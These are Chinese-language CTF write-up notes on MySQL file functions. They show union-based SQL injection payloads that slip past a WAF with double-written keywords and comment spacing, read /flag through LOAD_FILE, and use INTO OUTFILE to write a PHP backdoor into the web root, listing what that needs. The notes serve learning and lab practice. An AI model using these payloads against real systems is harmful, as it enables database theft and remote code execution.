本文主要是一些关于MySQL 文件读写相关函数的笔记,是后面的关于复现wordpress中SQL注入导致的未授权RCE漏洞分析的基础,而复现的sql题目是为了引出MySQL 文件读写相关函数的使用,其中的解题思路有不足之欢迎大家指正。
在查询列数时候发现空格、order关键字、注释符-- %0a,%0b,%0c#被过滤,或者在waf中被拦截,最终使用了双写绕过order等关键字替换为空,%09代替空格,


列数为1列

如果直接使用select也会被替换为空,采用双写绕过,判断查询到的结果会在页面输出

根据提示,现在查询第一段flag



想法:or会被替换为空于是采用aornd,发现and和等号被waf禁用了,于是采用like模糊查询
| 语句 | 含义 |
| LIKE 'a%' | a 开头 |
| LIKE '%a' | a 结尾 |
| LIKE '%a%' | 包含 a |
LIKE 'a_' |
a 后面 1 个字符 |
|---|
第一段flag使用这样的方法得到:拼接如下
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/
group_concat('~',column_name)/**/from
/**/information_schema.columns/**/where/**/table_schema/**/
like/**/'secret'/**/and/**/table_name/**/like/**/'password'-- '
查询到所有字段名,发现有flag字段

得到第一段flag

第二段:位于 当前数据库score表,学生pkwsec的成绩(grade)
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/group_concat('~',column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'/**/AND/**/table_name/**/like/**/'score'--

接下来就成功查询到第二个

至于第三段:提示说明:第三段flag位于 /flag,说明服务器文件系统中的根目录下存在一个名为 flag的文件。
拼接后
SELECT secret FROM ctf WHERE user=''/**/union/**/select/**/LOAD_FILE('/flag')-- '

1. LOAD_FILE()
作用:读取 MySQL 服务器上的文件内容,并将读取到的内容作为字符串返回。
基本格式:SELECT LOAD_FILE('文件路径');
示例
SELECT LOAD_FILE('/tmp/test.txt');
假设服务器上的 test.txt 内容是:hello mysql,执行后,LOAD_FILE() 会读取这个文件,并返回:hello mysql
2. INTO OUTFILE
作用:将 SQL 查询产生的结果写入服务器上的文件。但文件保存路径并不是一定可以任意指定。实际可写路径会受到****secure_file_priv、MySQL 用户权限以及操作系统文件权限等条件限制。
基本格式: SELECT 查询内容 INTO OUTFILE '文件路径';
示例
SELECT 'hello mysql' INTO OUTFILE '/tmp/test.txt';
执行后,会将查询结果写入服务器上的 /tmp/test.txt。文件内容:hello mysql
注意:
INTO OUTFILE 并不是任意情况下都能把文件保存到指定的路径 。主要受 secure_file_priv****限制。
secure_file_priv 的几种情况
secure_file_priv = 某个目录:文件操作限制在这个目录
secure_file_priv = NULL**: 通常表示不允许相关文件操作**
secure_file_priv = 空字符串:通常表示不限制目录

由sql注入导致的rce
把 PHP 一句话代码通过 MySQL 写入到服务器磁盘文件,实现写 Web 后门,只有拥有****FILE 权限的数据库账号,才能使用 INTO OUTFILE
SELECT '<?php echo "RCE"; ?>' INTO OUTFILE '/var/www/html/test.php';
实现前提:存在 SQL 注入漏洞,能够让数据库执行攻击者构造的 SQL 语句。
- 当前 MySQL 账号具备FILE权限。
- Web 服务与 MySQL 服务部署在同一台服务器。
- secure_file_priv配置不为 NULL,允许文件导出。
- MySQL 进程用户对目标 Web 目录拥有写入权限。
- 目标路径为网站可访问的物理绝对路径。
- 目标文件不存在,不会触发文件已存在报错。
- SQL 注入环境支持分号堆叠执行多条 SQL 语句。
只要任意一条不满足,语句执行失败,无法生成 Web 后门。
3. INTO DUMPFILE
作用:将查询结果以原始数据形式写入服务器上的文件。它和 INTO OUTFILE 都可以用于写文件,但 DUMPFILE 更适合输出单个值或二进制数据。
基本格式:SELECT 查询内容 INTO DUMPFILE '文件路径';
示例
SELECT 'hello mysql' INTO DUMPFILE '/tmp/test.bin';
执行后,会将查询得到的数据写入服务器上的 /tmp/test.bin。
INTO DUMPFILE:将数据以原始形式写入服务器文件。
4. LOAD DATA INFILE
作用**:** 将服务器上的文件数据导入****MySQL 数据表 。
基本格式: LOAD DATA INFILE '文件路径' INTO TABLE 表名;
示例
假设服务器上的 /tmp/data.txt 内容为:
1,Tom
2,Jack
3,Alice
可以使用:LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;将文件中的数据导入 users 表。如果文件中的字段使用逗号分隔,可以进一步指定:
LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users FIELDS TERMINATED BY ',';
总结:
-
LOAD_FILE(),读取服务器文件:SELECT LOAD_FILE('/tmp/test.txt');
-
INTO OUTFILE,将查询结果写入文件:SELECT 'hello' INTO OUTFILE '/tmp/test.txt';
-
INTO DUMPFILE,将数据以原始形式写入文件:SELECT 'hello' INTO DUMPFILE '/tmp/test.bin'
-
LOAD DATA INFILE,将服务器文件中的数据导入表:LOAD DATA INFILE '/tmp/data.txt' INTO TABLE users;
-
LOAD DATA LOCAL INFILE
和 LOAD DATA INFILE 类似,但重点区别是:LOCAL 表示数据文件来自客户端,而不是 MySQL 服务器。
基本格式:
LOAD DATA LOCAL INFILE '文件路径' INTO TABLE 表名;